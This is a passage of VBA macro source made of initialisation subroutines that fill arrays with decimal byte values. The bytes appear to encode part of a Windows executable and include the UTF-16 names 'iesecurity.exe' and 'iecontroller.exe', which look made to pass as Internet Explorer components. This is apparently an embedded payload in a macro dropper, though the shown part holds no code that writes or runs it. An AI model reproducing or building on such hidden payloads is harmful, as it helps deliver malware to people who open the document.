    a(384) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(385) = Array(2, 0, 0, 0, 78, 230, 64, 187, 177, 25, 191, 68, 0, 0, 0, 0, 1, 0, 0, 0, 22, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 3, 0, 0, 0, 2, 0, 0, 0, 4, 0, 0, 0, 24, 0, 0, 0, 5, 0, 0, 0, 13, 0, 0, 0, 6, 0, 0, 0, 9, 0, 0, 0, 7, 0, 0, 0, 12, 0, 0, 0, 8, 0, 0, 0, 12, 0, 0, 0, 9, 0, 0, 0, 12, 0, 0, 0, 10, 0, 0, 0, 7, 0, 0, 0, 11, 0, 0, 0, 8, 0, 0, 0, 12, 0, 0, 0, 22, 0, 0, 0, 13, 0, 0, 0, 22, 0, 0, 0, 15, 0, 0, 0, 2, 0, 0, 0)
    a(386) = Array(16, 0, 0, 0, 13, 0, 0, 0, 17, 0, 0, 0, 18, 0, 0, 0, 18, 0, 0, 0, 2, 0, 0, 0, 33, 0, 0, 0, 13, 0, 0, 0, 53, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 13, 0, 0, 0, 67, 0, 0, 0, 2, 0, 0, 0, 80, 0, 0, 0, 17, 0, 0, 0, 82, 0, 0, 0, 13, 0, 0, 0, 83, 0, 0, 0, 13, 0, 0, 0, 87, 0, 0, 0, 22, 0, 0, 0, 89, 0, 0, 0, 11, 0, 0, 0, 108, 0, 0, 0, 13, 0, 0, 0, 109, 0, 0, 0, 32, 0, 0, 0, 112, 0, 0, 0, 28, 0, 0, 0, 114, 0, 0, 0, 9, 0, 0, 0)
    a(387) = Array(6, 0, 0, 0, 22, 0, 0, 0, 128, 0, 0, 0, 10, 0, 0, 0, 129, 0, 0, 0, 10, 0, 0, 0, 130, 0, 0, 0, 9, 0, 0, 0, 131, 0, 0, 0, 22, 0, 0, 0, 132, 0, 0, 0, 13, 0, 0, 0, 145, 0, 0, 0, 41, 0, 0, 0, 158, 0, 0, 0, 13, 0, 0, 0, 161, 0, 0, 0, 2, 0, 0, 0, 164, 0, 0, 0, 11, 0, 0, 0, 167, 0, 0, 0, 13, 0, 0, 0, 183, 0, 0, 0, 17, 0, 0, 0, 206, 0, 0, 0, 2, 0, 0, 0, 215, 0, 0, 0, 11, 0, 0, 0, 24, 7, 0, 0, 12, 0, 0, 0, 12, 0, 0, 0, 8, 0, 0, 0)
    a(388) = Array(160, 7, 65, 0, 0, 0, 0, 0, 160, 7, 65, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(389) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(390) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
End Sub

Private Sub Init13()
    a(391) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(392) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(393) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(394) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 0, 0, 0, 0, 0, 0, 0, 0)
    a(395) = Array(255, 255, 255, 255, 128, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0)
    a(396) = Array(0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(397) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 218, 145, 64, 0, 218, 145, 64, 0, 218, 145, 64, 0, 218, 145, 64, 0, 218, 145, 64, 0, 218, 145, 64, 0)
    a(398) = Array(218, 145, 64, 0, 218, 145, 64, 0, 218, 145, 64, 0, 218, 145, 64, 0, 32, 5, 147, 25, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 67, 0, 0, 0, 0, 0, 0, 0, 196, 195, 64, 0, 192, 195, 64, 0, 188, 195, 64, 0, 184, 195, 64, 0, 180, 195, 64, 0, 176, 195, 64, 0, 172, 195, 64, 0, 164, 195, 64, 0, 156, 195, 64, 0, 148, 195, 64, 0, 136, 195, 64, 0, 124, 195, 64, 0, 116, 195, 64, 0, 104, 195, 64, 0, 100, 195, 64, 0, 96, 195, 64, 0, 92, 195, 64, 0, 88, 195, 64, 0, 84, 195, 64, 0, 80, 195, 64, 0, 76, 195, 64, 0, 72, 195, 64, 0)
    a(399) = Array(68, 195, 64, 0, 64, 195, 64, 0, 60, 195, 64, 0, 56, 195, 64, 0, 48, 195, 64, 0, 36, 195, 64, 0, 28, 195, 64, 0, 20, 195, 64, 0, 84, 195, 64, 0, 12, 195, 64, 0, 4, 195, 64, 0, 252, 194, 64, 0, 240, 194, 64, 0, 232, 194, 64, 0, 220, 194, 64, 0, 208, 194, 64, 0, 204, 194, 64, 0, 200, 194, 64, 0, 188, 194, 64, 0, 168, 194, 64, 0, 156, 194, 64, 0, 9, 4, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 148, 194, 64, 0, 140, 194, 64, 0, 132, 194, 64, 0, 124, 194, 64, 0, 116, 194, 64, 0, 108, 194, 64, 0, 100, 194, 64, 0, 84, 194, 64, 0)
    a(400) = Array(68, 194, 64, 0, 52, 194, 64, 0, 32, 194, 64, 0, 12, 194, 64, 0, 252, 193, 64, 0, 232, 193, 64, 0, 224, 193, 64, 0, 216, 193, 64, 0, 208, 193, 64, 0, 200, 193, 64, 0, 192, 193, 64, 0, 184, 193, 64, 0, 176, 193, 64, 0, 168, 193, 64, 0, 160, 193, 64, 0, 152, 193, 64, 0, 144, 193, 64, 0, 136, 193, 64, 0, 120, 193, 64, 0, 100, 193, 64, 0, 88, 193, 64, 0, 76, 193, 64, 0, 192, 193, 64, 0, 64, 193, 64, 0, 52, 193, 64, 0, 36, 193, 64, 0, 16, 193, 64, 0, 0, 193, 64, 0, 236, 192, 64, 0, 216, 192, 64, 0, 208, 192, 64, 0, 200, 192, 64, 0)
    a(401) = Array(180, 192, 64, 0, 140, 192, 64, 0, 120, 192, 64, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 160, 230, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 160, 230, 64, 0, 0, 0, 0, 0)
    a(402) = Array(0, 0, 0, 0, 0, 0, 0, 0, 160, 230, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 160, 230, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 160, 230, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 238, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 88, 197, 64, 0, 224, 201, 64, 0, 96, 203, 64, 0, 168, 230, 64, 0, 16, 232, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(403) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 0, 0, 0, 0, 0, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32)
    a(404) = Array(32, 32, 32, 32, 32, 32, 32, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(405) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 0, 0, 0, 0, 0, 0, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82)
    a(406) = Array(83, 84, 85, 86, 87, 88, 89, 90, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(407) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 0, 0, 0, 0, 0, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32)
    a(408) = Array(32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(409) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 0, 0, 0, 0, 0, 0, 65, 66, 67, 68, 69, 70, 71)
    a(410) = Array(72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(411) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 240, 232, 64, 0, 1, 2, 4, 8, 164, 3, 0, 0, 96, 130, 121, 130, 33, 0, 0, 0, 0, 0, 0, 0, 166, 223, 0, 0, 0, 0, 0, 0, 161, 165, 0, 0, 0, 0, 0, 0, 129, 159, 224, 252, 0, 0, 0, 0, 64, 126, 128, 252, 0, 0, 0, 0, 168, 3, 0, 0, 193, 163, 218, 163, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 129, 254, 0, 0, 0, 0, 0, 0, 64, 254, 0, 0, 0, 0, 0, 0)
    a(412) = Array(181, 3, 0, 0, 193, 163, 218, 163, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 129, 254, 0, 0, 0, 0, 0, 0, 65, 254, 0, 0, 0, 0, 0, 0, 182, 3, 0, 0, 207, 162, 228, 162, 26, 0, 229, 162, 232, 162, 91, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 129, 254, 0, 0, 0, 0, 0, 0, 64, 126, 161, 254, 0, 0, 0, 0, 81, 5, 0, 0, 81, 218, 94, 218, 32, 0, 95, 218, 106, 218, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(413) = Array(129, 211, 216, 222, 224, 249, 0, 0, 49, 126, 129, 254, 0, 0, 0, 0, 2, 0, 0, 0, 254, 255, 255, 255, 92, 199, 64, 0, 254, 255, 255, 255, 46, 0, 0, 0, 46, 0, 0, 0, 32, 238, 64, 0, 84, 6, 65, 0, 84, 6, 65, 0, 84, 6, 65, 0, 84, 6, 65, 0, 84, 6, 65, 0, 84, 6, 65, 0, 84, 6, 65, 0, 84, 6, 65, 0, 84, 6, 65, 0, 127, 127, 127, 127, 127, 127, 127, 127, 36, 238, 64, 0, 88, 6, 65, 0, 88, 6, 65, 0, 88, 6, 65, 0, 88, 6, 65, 0, 88, 6, 65, 0, 88, 6, 65, 0, 88, 6, 65, 0, 40, 238, 64, 0, 88, 197, 64, 0)
    a(414) = Array(90, 199, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 46, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 105, 0, 101, 0, 115, 0, 101, 0, 99, 0, 117, 0, 114, 0, 105, 0, 116, 0, 121, 0, 46, 0, 101, 0, 120, 0, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(415) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(416) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(417) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(418) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 105, 0, 101, 0, 99, 0, 111, 0, 110, 0, 116, 0, 114, 0, 111, 0, 108, 0, 108, 0, 101, 0, 114, 0, 46, 0, 101, 0, 120, 0, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(419) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(420) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
End Sub

Private Sub Init14()
    a(421) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
